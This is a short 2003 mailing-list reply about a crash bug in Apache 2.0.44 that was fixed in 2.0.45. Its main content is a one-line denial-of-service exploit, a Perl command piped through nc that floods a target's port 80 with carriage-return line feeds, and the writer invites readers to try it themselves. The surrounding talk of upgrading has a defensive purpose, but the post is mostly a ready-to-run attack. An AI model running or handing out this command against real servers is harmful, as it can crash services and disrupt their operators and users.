On Sun, 2003-06-01 at 09:37, Adolfo Bello wrote:

> Regarding the number of connections, just one connection could cause
> your system to crash. Version 2.0.45 was released because a very simple
> one line perl script coming through port 80 could crash version 2.0.44.

I forgot to put the script:

perl -e 'print "\r\n" x 4000000' | nc <target> 80

If you have version 2.0.44 running you can try it yourself.

Unless you close port 80, this single connection crash your server.

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